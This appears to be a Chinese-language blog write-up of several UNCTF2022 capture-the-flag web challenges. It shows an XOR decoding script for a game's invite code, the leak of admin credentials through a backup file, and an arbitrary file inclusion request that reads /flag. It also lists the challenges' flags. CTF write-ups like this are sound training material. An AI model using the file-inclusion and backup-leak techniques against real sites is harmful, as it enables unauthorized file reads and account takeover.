这题后来看了其他师傅的wp,发现firefox有一个cookie editor插件可以用来设置cookie
2、ez2048
game.js中有脚本的,但是逆不出,网上找的脚本:
view = [68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0, 19, 0, 0]for i in range(24): if ~i % 2 == 0: view[i] ^= (view[i-2] if i-2 >= 0 else 0)for i in range(24): if ~i % 2 != 0: view[i] ^= (view[i+1] if i+1 <= 23 else 0)for i in range(24): print(chr(view[i]), end='')
invitecode: w3lc0me_7o_unctf2022!!!
进去之后玩出的flag:UNCTF{hap9y_2048_game_w1th_unc7f2022~}
后续Alplexchur师傅给出了题解,搜索game.js中的 tile.value * 2 ,把2改为512后newgame,一次合成就会变成1024,但是不知道为什么我没成功QAQ。
3、快乐三消
这道题还是我的问题,题目本身不难,就是有点细,hint是源码泄露,一直在看/.git目录,没想到真的东西藏在login.php.bak,应该都试一下的,不上来就用dirsearch去扫,能找到管理员的账号密码:admin/unctf
登录后台后查看源代码发现网站预览模块的url
居然是/fi.php?filename=index.php
,这里存在一个任意文件包含漏洞,如下就…
/fi.php?filename=/flag
flag:UNCTF{75bd820e-00a7-4786-8d5d-8cea85e9d3d1}
4、随便注
5、SqlSql
以上两题sql注入由于题目关了无法复现了,过段时间等题目重新上线了再说吧,参考网址:
https://zeroc0077.github.io/2022/11/20/UNCTF2022-WP/#more
来源地址:https://blog.csdn.net/BrosyveryOK/article/details/127919832